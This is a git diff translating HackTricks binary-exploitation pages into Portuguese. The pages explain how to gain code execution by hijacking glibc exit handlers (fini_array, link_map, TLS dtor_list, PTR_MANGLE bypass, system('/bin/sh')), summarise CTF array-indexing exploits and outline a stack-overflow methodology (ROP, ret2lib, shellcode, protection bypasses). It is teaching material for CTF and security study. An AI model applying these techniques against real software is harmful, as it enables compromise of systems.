`map->l_addr`** so `*array` will point to the fake array. - - According to main post of this technique and [**this writeup**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet) ld.so leave a pointer on the stack that points to the binary `link_map` in ld.so. With an arbitrary write it's possible to overwrite it and make it point to a fake `fini_array` controlled by the attacker with the address to a [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) for example. - -Following the previous code you can find another interesting section with the code: +- Sobrescrever o valor de `map->l_addr` para que aponte para um **falso `fini_array`** com instruções para executar código arbitrário. +- Sobrescrever as entradas `l_info[DT_FINI_ARRAY]` e `l_info[DT_FINI_ARRAYSZ]` (que são mais ou menos consecutivas na memória), para que **apontem para uma estrutura forjada `Elf64_Dyn`** que fará novamente **`array` apontar para uma zona de memória** controlada pelo atacante. +- [**Este writeup**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell) sobrescreve `l_info[DT_FINI_ARRAY]` com o endereço de uma memória controlada em `.bss` contendo um falso `fini_array`. Este array falso contém **primeiro um** [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) **endereço** que será executado e então a **diferença** entre o endereço deste **array falso** e o **valor de `map->l_addr`** para que `*array` aponte para o array falso. +- De acordo com o post principal desta técnica e [**este writeup**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet), ld.so deixa um ponteiro na pilha que aponta para o `link_map` binário em ld.so. Com uma escrita arbitrária, é possível sobrescrevê-lo e fazê-lo apontar para um falso `fini_array` controlado pelo atacante com o endereço de um [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md), por exemplo. +Seguindo o código anterior, você pode encontrar outra seção interessante com o código: ```c /* Next try the old-style destructor. */ ElfW(Dyn) *fini = map->l_info[DT_FINI]; if (fini != NULL) - DL_CALL_DT_FINI (map, ((void *) map->l_addr + fini->d_un.d_ptr)); +DL_CALL_DT_FINI (map, ((void *) map->l_addr + fini->d_un.d_ptr)); } ``` +Neste caso, seria possível sobrescrever o valor de `map->l_info[DT_FINI]` apontando para uma estrutura `ElfW(Dyn)` forjada. Encontre [**mais informações aqui**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure). -In this case it would be possible to overwrite the value of `map->l_info[DT_FINI]` pointing to a forged `ElfW(Dyn)` structure. Find [**more information here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure). +## Sobrescrita de dtor_list de TLS-Storage em **`__run_exit_handlers`** -## TLS-Storage dtor_list overwrite in **`__run_exit_handlers`** - -As [**explained here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite), if a program exits via `return` or `exit()`, it'll execute **`__run_exit_handlers()`** which will call any destructors function registered. - -Code from `_run_exit_handlers()`: +Como [**explicado aqui**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite), se um programa sair via `return` ou `exit()`, ele executará **`__run_exit_handlers()`** que chamará qualquer função de destrutor registrada. +Código de `_run_exit_handlers()`: ```c /* Call all functions registered with `atexit' and `on_exit', - in the reverse of the order in which they were registered - perform stdio cleanup, and terminate program execution with STATUS. */ +in the reverse of the order in which they were registered +perform stdio cleanup, and terminate program execution with STATUS. */ void attribute_hidden __run_exit_handlers (int status, struct exit_function_list **listp, - bool run_list_atexit, bool run_dtors) +bool run_list_atexit, bool run_dtors) { - /* First, call the TLS destructors. */ +/* First, call the TLS destructors. */ #ifndef SHARED - if (&__call_tls_dtors != NULL) +if (&__call_tls_dtors != NULL) #endif - if (run_dtors) - __call_tls_dtors (); +if (run_dtors) +__call_tls_dtors (); ``` - -Code from **`__call_tls_dtors()`**: - +Código de **`__call_tls_dtors()`**: ```c typedef void (*dtor_func) (void *); struct dtor_list //struct added { - dtor_func func; - void *obj; - struct link_map *map; - struct dtor_list *next; +dtor_func func; +void *obj; +struct link_map *map; +struct dtor_list *next; }; [...] /* Call the destructors. This is called either when a thread returns from the - initial function or when the process exits via the exit function. */ +initial function or when the process exits via the exit function. */ void __call_tls_dtors (void) { - while (tls_dtor_list) // parse the dtor_list chained structures - { - struct dtor_list *cur = tls_dtor_list; // cur point to tls-storage dtor_list - dtor_func func = cur->func; - PTR_DEMANGLE (func); // demangle the function ptr +while (tls_dtor_list) // parse the dtor_list chained structures +{ +struct dtor_list *cur = tls_dtor_list; // cur point to tls-storage dtor_list +dtor_func func = cur->func; +PTR_DEMANGLE (func); // demangle the function ptr - tls_dtor_list = tls_dtor_list->next; // next dtor_list structure - func (cur->obj); - [...] - } +tls_dtor_list = tls_dtor_list->next; // next dtor_list structure +func (cur->obj); +[...] +} } ``` +Para cada função registrada em **`tls_dtor_list`**, ele irá desmanglar o ponteiro de **`cur->func`** e chamá-lo com o argumento **`cur->obj`**. -For each registered function in **`tls_dtor_list`**, it'll demangle the pointer from **`cur->func`** and call it with the argument **`cur->obj`**. - -Using the **`tls`** function from this [**fork of GEF**](https://github.com/bata24/gef), it's possible to see that actually the **`dtor_list`** is very **close** to the **stack canary** and **PTR_MANGLE cookie**. So, with an overflow on it's it would be possible to **overwrite** the **cookie** and the **stack canary**.\ -Overwriting the PTR_MANGLE cookie, it would be possible to **bypass the `PTR_DEMANLE` function** by setting it to 0x00, will mean that the **`xor`** used to get the real address is just the address configured. Then, by writing on the **`dtor_list`** it's possible **chain several functions** with the function **address** and it's **argument.** - -Finally notice that the stored pointer is not only going to be xored with the cookie but also rotated 17 bits: +Usando a função **`tls`** deste [**fork do GEF**](https://github.com/bata24/gef), é possível ver que na verdade o **`dtor_list`** está muito **perto** do **stack canary** e do **PTR_MANGLE cookie**. Assim, com um estouro nele, seria possível **sobrescrever** o **cookie** e o **stack canary**.\ +Sobrescrevendo o PTR_MANGLE cookie, seria possível **contornar a função `PTR_DEMANLE`** definindo-o como 0x00, o que significa que o **`xor`** usado para obter o endereço real é apenas o endereço configurado. Então, ao escrever no **`dtor_list`**, é possível **encadear várias funções** com o **endereço** da função e seu **argumento**. +Finalmente, note que o ponteiro armazenado não será apenas xorado com o cookie, mas também rotacionado 17 bits: ```armasm 0x00007fc390444dd4 <+36>: mov rax,QWORD PTR [rbx] --> mangled ptr 0x00007fc390444dd7 <+39>: ror rax,0x11 --> rotate of 17 bits 0x00007fc390444ddb <+43>: xor rax,QWORD PTR fs:0x30 --> xor with PTR_MANGLE ``` +Então você precisa levar isso em consideração antes de adicionar um novo endereço. -So you need to take this into account before adding a new address. +Encontre um exemplo na [**postagem original**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite). -Find an example in the [**original post**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite). +## Outros ponteiros corrompidos em **`__run_exit_handlers`** -## Other mangled pointers in **`__run_exit_handlers`** - -This technique is [**explained here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite) and depends again on the program **exiting calling `return` or `exit()`** so **`__run_exit_handlers()`** is called. - -Let's check more code of this function: +Esta técnica é [**explicada aqui**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite) e depende novamente do programa **sair chamando `return` ou `exit()`** para que **`__run_exit_handlers()`** seja chamado. +Vamos verificar mais código desta função: ```c - while (true) - { - struct exit_function_list *cur; +while (true) +{ +struct exit_function_list *cur; - restart: - cur = *listp; +restart: +cur = *listp; - if (cur == NULL) - { - /* Exit processing complete. We will not allow any more - atexit/on_exit registrations. */ - __exit_funcs_done = true; - break; - } +if (cur == NULL) +{ +/* Exit processing complete. We will not allow any more +atexit/on_exit registrations. */ +__exit_funcs_done = true; +break; +} - while (cur->idx > 0) - { - struct exit_function *const f = &cur->fns[--cur->idx]; - const uint64_t new_exitfn_called = __new_exitfn_called; +while (cur->idx > 0) +{ +struct exit_function *const f = &cur->fns[--cur->idx]; +const uint64_t new_exitfn_called = __new_exitfn_called; - switch (f->flavor) - { - void (*atfct) (void); - void (*onfct) (int status, void *arg); - void (*cxafct) (void *arg, int status); - void *arg; +switch (f->flavor) +{ +void (*atfct) (void); +void (*onfct) (int status, void *arg); +void (*cxafct) (void *arg, int status); +void *arg; - case ef_free: - case ef_us: - break; - case ef_on: - onfct = f->func.on.fn; - arg = f->func.on.arg; - PTR_DEMANGLE (onfct); +case ef_free: +case ef_us: +break; +case ef_on: +onfct = f->func.on.fn; +arg = f->func.on.arg; +PTR_DEMANGLE (onfct); - /* Unlock the list while we call a foreign function. */ - __libc_lock_unlock (__exit_funcs_lock); - onfct (status, arg); - __libc_lock_lock (__exit_funcs_lock); - break; - case ef_at: - atfct = f->func.at; - PTR_DEMANGLE (atfct); +/* Unlock the list while we call a foreign function. */ +__libc_lock_unlock (__exit_funcs_lock); +onfct (status, arg); +__libc_lock_lock (__exit_funcs_lock); +break; +case ef_at: +atfct = f->func.at; +PTR_DEMANGLE (atfct); - /* Unlock the list while we call a foreign function. */ - __libc_lock_unlock (__exit_funcs_lock); - atfct (); - __libc_lock_lock (__exit_funcs_lock); - break; - case ef_cxa: - /* To avoid dlclose/exit race calling cxafct twice (BZ 22180), - we must mark this function as ef_free. */ - f->flavor = ef_free; - cxafct = f->func.cxa.fn; - arg = f->func.cxa.arg; - PTR_DEMANGLE (cxafct); +/* Unlock the list while we call a foreign function. */ +__libc_lock_unlock (__exit_funcs_lock); +atfct (); +__libc_lock_lock (__exit_funcs_lock); +break; +case ef_cxa: +/* To avoid dlclose/exit race calling cxafct twice (BZ 22180), +we must mark this function as ef_free. */ +f->flavor = ef_free; +cxafct = f->func.cxa.fn; +arg = f->func.cxa.arg; +PTR_DEMANGLE (cxafct); - /* Unlock the list while we call a foreign function. */ - __libc_lock_unlock (__exit_funcs_lock); - cxafct (arg, status); - __libc_lock_lock (__exit_funcs_lock); - break; - } +/* Unlock the list while we call a foreign function. */ +__libc_lock_unlock (__exit_funcs_lock); +cxafct (arg, status); +__libc_lock_lock (__exit_funcs_lock); +break; +} - if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called)) - /* The last exit function, or another thread, has registered - more exit functions. Start the loop over. */ - goto restart; - } +if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called)) +/* The last exit function, or another thread, has registered +more exit functions. Start the loop over. */ +goto restart; +} - *listp = cur->next; - if (*listp != NULL) - /* Don't free the last element in the chain, this is the statically - allocate element. */ - free (cur); - } +*listp = cur->next; +if (*listp != NULL) +/* Don't free the last element in the chain, this is the statically +allocate element. */ +free (cur); +} - __libc_lock_unlock (__exit_funcs_lock); +__libc_lock_unlock (__exit_funcs_lock); ``` +A variável `f` aponta para a estrutura **`initial`** e, dependendo do valor de `f->flavor`, diferentes funções serão chamadas.\ +Dependendo do valor, o endereço da função a ser chamada estará em um lugar diferente, mas sempre estará **demangled**. -The variable `f` points to the **`initial`** structure and depending on the value of `f->flavor` different functions will be called.\ -Depending on the value, the address of the function to call will be in a different place, but it'll always be **demangled**. +Além disso, nas opções **`ef_on`** e **`ef_cxa`**, também é possível controlar um **argumento**. -Moreover, in the options **`ef_on`** and **`ef_cxa`** it's also possible to control an **argument**. +É possível verificar a **estrutura `initial`** em uma sessão de depuração com o GEF rodando **`gef> p initial`**. -It's possible to check the **`initial` structure** in a debugging session with GEF running **`gef> p initial`**. - -To abuse this you need either to **leak or erase the `PTR_MANGLE`cookie** and then overwrite a `cxa` entry in initial with `system('/bin/sh')`.\ -You can find an example of this in the [**original blog post about the technique**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#6---code-execution-via-other-mangled-pointers-in-initial-structure). +Para abusar disso, você precisa ou **vazar ou apagar o cookie `PTR_MANGLE`** e então sobrescrever uma entrada `cxa` em initial com `system('/bin/sh')`.\ +Você pode encontrar um exemplo disso no [**post original do blog sobre a técnica**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#6---code-execution-via-other-mangled-pointers-in-initial-structure). {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/array-indexing.md b/src/binary-exploitation/array-indexing.md index 675eb939e..144aeaf4d 100644 --- a/src/binary-exploitation/array-indexing.md +++ b/src/binary-exploitation/array-indexing.md @@ -1,18 +1,18 @@ -# Array Indexing +# Indexação de Array {{#include ../banners/hacktricks-training.md}} -## Basic Information +## Informações Básicas -This category includes all vulnerabilities that occur because it is possible to overwrite certain data through errors in the handling of indexes in arrays. It's a very wide category with no specific methodology as the exploitation mechanism relays completely on the conditions of the vulnerability. +Esta categoria inclui todas as vulnerabilidades que ocorrem porque é possível sobrescrever certos dados através de erros no manuseio de índices em arrays. É uma categoria muito ampla, sem uma metodologia específica, pois o mecanismo de exploração depende completamente das condições da vulnerabilidade. -However he you can find some nice **examples**: +No entanto, você pode encontrar alguns **exemplos** interessantes: - [https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html](https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html) - - There are **2 colliding arrays**, one for **addresses** where data is stored and one with the **sizes** of that data. It's possible to overwrite one from the other, enabling to write an arbitrary address indicating it as a size. This allows to write the address of the `free` function in the GOT table and then overwrite it with the address to `system`, and call free from a memory with `/bin/sh`. +- Existem **2 arrays colidindo**, um para **endereços** onde os dados são armazenados e um com os **tamanhos** desses dados. É possível sobrescrever um a partir do outro, permitindo escrever um endereço arbitrário indicando-o como um tamanho. Isso permite escrever o endereço da função `free` na tabela GOT e, em seguida, sobrescrevê-lo com o endereço de `system`, e chamar free de uma memória com `/bin/sh`. - [https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html](https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html) - - 64 bits, no nx. Overwrite a size to get a kind of buffer overflow where every thing is going to be used a double number and sorted from smallest to biggest so it's needed to create a shellcode that fulfil that requirement, taking into account that the canary shouldn't be moved from it's position and finally overwriting the RIP with an address to ret, that fulfil he previous requirements and putting the biggest address a new address pointing to the start of the stack (leaked by the program) so it's possible to use the ret to jump there. +- 64 bits, sem nx. Sobrescrever um tamanho para obter uma espécie de buffer overflow onde tudo vai ser usado como um número duplo e ordenado do menor para o maior, então é necessário criar um shellcode que atenda a esse requisito, levando em conta que o canário não deve ser movido de sua posição e, finalmente, sobrescrever o RIP com um endereço para ret, que atenda aos requisitos anteriores e colocando o maior endereço como um novo endereço apontando para o início da pilha (vazado pelo programa) para que seja possível usar o ret para pular lá. - [https://faraz.faith/2019-10-20-secconctf-2019-sum/](https://faraz.faith/2019-10-20-secconctf-2019-sum/) - - 64bits, no relro, canary, nx, no pie. There is an off-by-one in an array in the stack that allows to control a pointer granting WWW (it write the sum of all the numbers of the array in the overwritten address by the of-by-one in the array). The stack is controlled so the GOT `exit` address is overwritten with `pop rdi; ret`, and in the stack is added the address to `main` (looping back to `main`). The a ROP chain to leak the address of put in the GOT using puts is used (`exit` will be called so it will call `pop rdi; ret` therefore executing this chain in the stack). Finally a new ROP chain executing ret2lib is used. +- 64 bits, sem relro, canário, nx, sem pie. Há um off-by-one em um array na pilha que permite controlar um ponteiro concedendo WWW (ele escreve a soma de todos os números do array no endereço sobrescrito pelo off-by-one no array). A pilha é controlada, então o endereço GOT `exit` é sobrescrito com `pop rdi; ret`, e na pilha é adicionado o endereço para `main` (retornando para `main`). Uma cadeia ROP para vazar o endereço de put na GOT usando puts é utilizada (`exit` será chamado, então chamará `pop rdi; ret`, executando assim essa cadeia na pilha). Finalmente, uma nova cadeia ROP executando ret2lib é utilizada. - [https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html) - - 32 bit, no relro, no canary, nx, pie. Abuse a bad indexing to leak addresses of libc and heap from the stack. Abuse the buffer overflow o do a ret2lib calling `system('/bin/sh')` (the heap address is needed to bypass a check). +- 32 bits, sem relro, sem canário, nx, pie. Abuse uma má indexação para vazar endereços de libc e heap da pilha. Abuse o buffer overflow para fazer um ret2lib chamando `system('/bin/sh')` (o endereço da heap é necessário para contornar uma verificação). diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md index a5e59ae40..6dbad6910 100644 --- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md +++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md @@ -1,111 +1,111 @@ -# Basic Binary Exploitation Methodology +# Metodologia Básica de Exploração Binária {{#include ../../banners/hacktricks-training.md}} -## ELF Basic Info +## Informações Básicas sobre ELF -Before start exploiting anything it's interesting to understand part of the structure of an **ELF binary**: +Antes de começar a explorar qualquer coisa, é interessante entender parte da estrutura de um **binário ELF**: {{#ref}} elf-tricks.md {{#endref}} -## Exploiting Tools +## Ferramentas de Exploração {{#ref}} tools/ {{#endref}} -## Stack Overflow Methodology +## Metodologia de Stack Overflow -With so many techniques it's good to have a scheme when each technique will be useful. Note that the same protections will affect different techniques. You can find ways to bypass the protections on each protection section but not in this methodology. +Com tantas técnicas, é bom ter um esquema de quando cada técnica será útil. Note que as mesmas proteções afetarão diferentes técnicas. Você pode encontrar maneiras de contornar as proteções em cada seção de proteção, mas não nesta metodologia. -## Controlling the Flow +## Controlando o Fluxo -There are different was you could end controlling the flow of a program: +Existem diferentes maneiras de você acabar controlando o fluxo de um programa: -- [**Stack Overflows**](../stack-overflow/) overwriting the return pointer from the stack or the EBP -> ESP -> EIP. - - Might need to abuse an [**Integer Overflows**](../integer-overflow.md) to cause the overflow -- Or via **Arbitrary Writes + Write What Where to Execution** - - [**Format strings**](../format-strings/)**:** Abuse `printf` to write arbitrary content in arbitrary addresses. - - [**Array Indexing**](../array-indexing.md): Abuse a poorly designed indexing to be able to control some arrays and get an arbitrary write. - - Might need to abuse an [**Integer Overflows**](../integer-overflow.md) to cause the overflow - - **bof to WWW via ROP**: Abuse a buffer overflow to construct a ROP and be able to get a WWW. +- [**Stack Overflows**](../stack-overflow/) sobrescrevendo o ponteiro de retorno da pilha ou o EBP -> ESP -> EIP. +- Pode ser necessário abusar de um [**Integer Overflows**](../integer-overflow.md) para causar o overflow. +- Ou via **Arbitrary Writes + Write What Where to Execution**. +- [**Format strings**](../format-strings/)**:** Abuse `printf` para escrever conteúdo arbitrário em endereços arbitrários. +- [**Array Indexing**](../array-indexing.md): Abuse de um indexação mal projetada para conseguir controlar alguns arrays e obter uma escrita arbitrária. +- Pode ser necessário abusar de um [**Integer Overflows**](../integer-overflow.md) para causar o overflow. +- **bof to WWW via ROP**: Abuse de um buffer overflow para construir um ROP e conseguir um WWW. -You can find the **Write What Where to Execution** techniques in: +Você pode encontrar as técnicas de **Write What Where to Execution** em: {{#ref}} ../arbitrary-write-2-exec/ {{#endref}} -## Eternal Loops +## Laços Eternos -Something to take into account is that usually **just one exploitation of a vulnerability might not be enough** to execute a successful exploit, specially some protections need to be bypassed. Therefore, it's interesting discuss some options to **make a single vulnerability exploitable several times** in the same execution of the binary: +Algo a ser levado em conta é que geralmente **apenas uma exploração de uma vulnerabilidade pode não ser suficiente** para executar um exploit bem-sucedido, especialmente algumas proteções precisam ser contornadas. Portanto, é interessante discutir algumas opções para **tornar uma única vulnerabilidade explorável várias vezes** na mesma execução do binário: -- Write in a **ROP** chain the address of the **`main` function** or to the address where the **vulnerability** is occurring. - - Controlling a proper ROP chain you might be able to perform all the actions in that chain -- Write in the **`exit` address in GOT** (or any other function used by the binary before ending) the address to go **back to the vulnerability** -- As explained in [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**,** store 2 functions here, one to call the vuln again and another to call**`__libc_csu_fini`** which will call again the function from `.fini_array`. +- Escrever em uma **cadeia ROP** o endereço da **função `main`** ou o endereço onde a **vulnerabilidade** está ocorrendo. +- Controlando uma cadeia ROP adequada, você pode ser capaz de realizar todas as ações nessa cadeia. +- Escrever no **endereço `exit` no GOT** (ou qualquer outra função usada pelo binário antes de terminar) o endereço para **voltar à vulnerabilidade**. +- Como explicado em [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**,** armazene 2 funções aqui, uma para chamar a vulnerabilidade novamente e outra para chamar **`__libc_csu_fini`** que chamará novamente a função de `.fini_array`. -## Exploitation Goals +## Objetivos de Exploração -### Goal: Call an Existing function +### Objetivo: Chamar uma Função Existente -- [**ret2win**](./#ret2win): There is a function in the code you need to call (maybe with some specific params) in order to get the flag. - - In a **regular bof without** [**PIE**](../common-binary-protections-and-bypasses/pie/) **and** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) you just need to write the address in the return address stored in the stack. - - In a bof with [**PIE**](../common-binary-protections-and-bypasses/pie/), you will need to bypass it - - In a bof with [**canary**](../common-binary-protections-and-bypasses/stack-canaries/), you will need to bypass it - - If you need to set several parameter to correctly call the **ret2win** function you can use: - - A [**ROP**](./#rop-and-ret2...-techniques) **chain if there are enough gadgets** to prepare all the params - - [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) (in case you can call this syscall) to control a lot of registers - - Gadgets from [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) and [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) to control several registers - - Via a [**Write What Where**](../arbitrary-write-2-exec/) you could abuse other vulns (not bof) to call the **`win`** function. -- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): In case the stack contains pointers to a function that is going to be called or to a string that is going to be used by an interesting function (system or printf), it's possible to overwrite that address. - - [**ASLR**](../common-binary-protections-and-bypasses/aslr/) or [**PIE**](../common-binary-protections-and-bypasses/pie/) might affect the addresses. -- [**Uninitialized vatiables**](../stack-overflow/uninitialized-variables.md): You never know. +- [**ret2win**](./#ret2win): Há uma função no código que você precisa chamar (talvez com alguns parâmetros específicos) para obter a flag. +- Em um **bof regular sem** [**PIE**](../common-binary-protections-and-bypasses/pie/) **e** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/), você só precisa escrever o endereço no endereço de retorno armazenado na pilha. +- Em um bof com [**PIE**](../common-binary-protections-and-bypasses/pie/), você precisará contorná-lo. +- Em um bof com [**canary**](../common-binary-protections-and-bypasses/stack-canaries/), você precisará contorná-lo. +- Se você precisar definir vários parâmetros para chamar corretamente a função **ret2win**, você pode usar: +- Uma [**cadeia ROP**](./#rop-and-ret2...-techniques) **se houver gadgets suficientes** para preparar todos os parâmetros. +- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) (caso você possa chamar essa syscall) para controlar muitos registradores. +- Gadgets de [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) e [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) para controlar vários registradores. +- Via um [**Write What Where**](../arbitrary-write-2-exec/) você poderia abusar de outras vulnerabilidades (não bof) para chamar a função **`win`**. +- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): Caso a pilha contenha ponteiros para uma função que será chamada ou para uma string que será usada por uma função interessante (system ou printf), é possível sobrescrever esse endereço. +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) ou [**PIE**](../common-binary-protections-and-bypasses/pie/) podem afetar os endereços. +- [**Uninitialized variables**](../stack-overflow/uninitialized-variables.md): Você nunca sabe. -### Goal: RCE +### Objetivo: RCE -#### Via shellcode, if nx disabled or mixing shellcode with ROP: +#### Via shellcode, se nx desativado ou misturando shellcode com ROP: -- [**(Stack) Shellcode**](./#stack-shellcode): This is useful to store a shellcode in the stack before of after overwriting the return pointer and then **jump to it** to execute it: - - **In any case, if there is a** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/)**,** in a regular bof you will need to bypass (leak) it - - **Without** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **and** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) it's possible to jump to the address of the stack as it won't never change - - **With** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) you will need techniques such as [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) to jump to it - - **With** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), you will need to use some [**ROP**](../rop-return-oriented-programing/) **to call `memprotect`** and make some page `rwx`, in order to then **store the shellcode in there** (calling read for example) and then jump there. - - This will mix shellcode with a ROP chain. +- [**(Stack) Shellcode**](./#stack-shellcode): Isso é útil para armazenar um shellcode na pilha antes ou depois de sobrescrever o ponteiro de retorno e então **pular para ele** para executá-lo: +- **Em qualquer caso, se houver um** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/)**,** em um bof regular você precisará contorná-lo (vazar). +- **Sem** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **e** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), é possível pular para o endereço da pilha, pois ele nunca mudará. +- **Com** [**ASLR**](../common-binary-protections-and-bypasses/aslr/), você precisará de técnicas como [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) para pular para ele. +- **Com** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), você precisará usar algum [**ROP**](../rop-return-oriented-programing/) **para chamar `memprotect`** e tornar alguma página `rwx`, para então **armazenar o shellcode lá** (chamando read, por exemplo) e então pular para lá. +- Isso misturará shellcode com uma cadeia ROP. #### Via syscalls -- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): Useful to call `execve` to run arbitrary commands. You need to be able to find the **gadgets to call the specific syscall with the parameters**. - - If [**ASLR**](../common-binary-protections-and-bypasses/aslr/) or [**PIE**](../common-binary-protections-and-bypasses/pie/) are enabled you'll need to defeat them **in order to use ROP gadgets** from the binary or libraries. - - [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) can be useful to prepare the **ret2execve** - - Gadgets from [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) and [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) to control several registers +- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): Útil para chamar `execve` para executar comandos arbitrários. Você precisa ser capaz de encontrar os **gadgets para chamar a syscall específica com os parâmetros**. +- Se [**ASLR**](../common-binary-protections-and-bypasses/aslr/) ou [**PIE**](../common-binary-protections-and-bypasses/pie/) estiverem habilitados, você precisará derrotá-los **para usar gadgets ROP** do binário ou bibliotecas. +- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) pode ser útil para preparar o **ret2execve**. +- Gadgets de [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) e [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) para controlar vários registradores. #### Via libc -- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): Useful to call a function from a library (usually from **`libc`**) like **`system`** with some prepared arguments (e.g. `'/bin/sh'`). You need the binary to **load the library** with the function you would like to call (libc usually). - - If **statically compiled and no** [**PIE**](../common-binary-protections-and-bypasses/pie/), the **address** of `system` and `/bin/sh` are not going to change, so it's possible to use them statically. - - **Without** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **and knowing the libc version** loaded, the **address** of `system` and `/bin/sh` are not going to change, so it's possible to use them statically. - - With [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **but no** [**PIE**](../common-binary-protections-and-bypasses/pie/)**, knowing the libc and with the binary using the `system`** function it's possible to **`ret` to the address of system in the GOT** with the address of `'/bin/sh'` in the param (you will need to figure this out). - - With [ASLR](../common-binary-protections-and-bypasses/aslr/) but no [PIE](../common-binary-protections-and-bypasses/pie/), knowing the libc and **without the binary using the `system`** : - - Use [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) to resolve the address of `system` and call it - - **Bypass** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) and calculate the address of `system` and `'/bin/sh'` in memory. - - **With** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **and** [**PIE**](../common-binary-protections-and-bypasses/pie/) **and not knowing the libc**: You need to: - - Bypass [**PIE**](../common-binary-protections-and-bypasses/pie/) - - Find the **`libc` version** used (leak a couple of function addresses) - - Check the **previous scenarios with ASLR** to continue. +- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): Útil para chamar uma função de uma biblioteca (geralmente de **`libc`**) como **`system`** com alguns argumentos preparados (por exemplo, `'/bin/sh'`). Você precisa que o binário **carregue a biblioteca** com a função que você gostaria de chamar (libc geralmente). +- Se **compilado estaticamente e sem** [**PIE**](../common-binary-protections-and-bypasses/pie/), o **endereço** de `system` e `/bin/sh` não vão mudar, então é possível usá-los estaticamente. +- **Sem** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **e sabendo a versão da libc** carregada, o **endereço** de `system` e `/bin/sh` não vão mudar, então é possível usá-los estaticamente. +- Com [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **mas sem** [**PIE**](../common-binary-protections-and-bypasses/pie/)**, sabendo a libc e com o binário usando a função `system`**, é possível **`ret` para o endereço de system no GOT** com o endereço de `'/bin/sh'` no parâmetro (você precisará descobrir isso). +- Com [ASLR](../common-binary-protections-and-bypasses/aslr/) mas sem [PIE](../common-binary-protections-and-bypasses/pie/), sabendo a libc e **sem o binário usar a função `system`**: +- Use [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) para resolver o endereço de `system` e chamá-lo. +- **Contorne** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) e calcule o endereço de `system` e `'/bin/sh'` na memória. +- **Com** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) 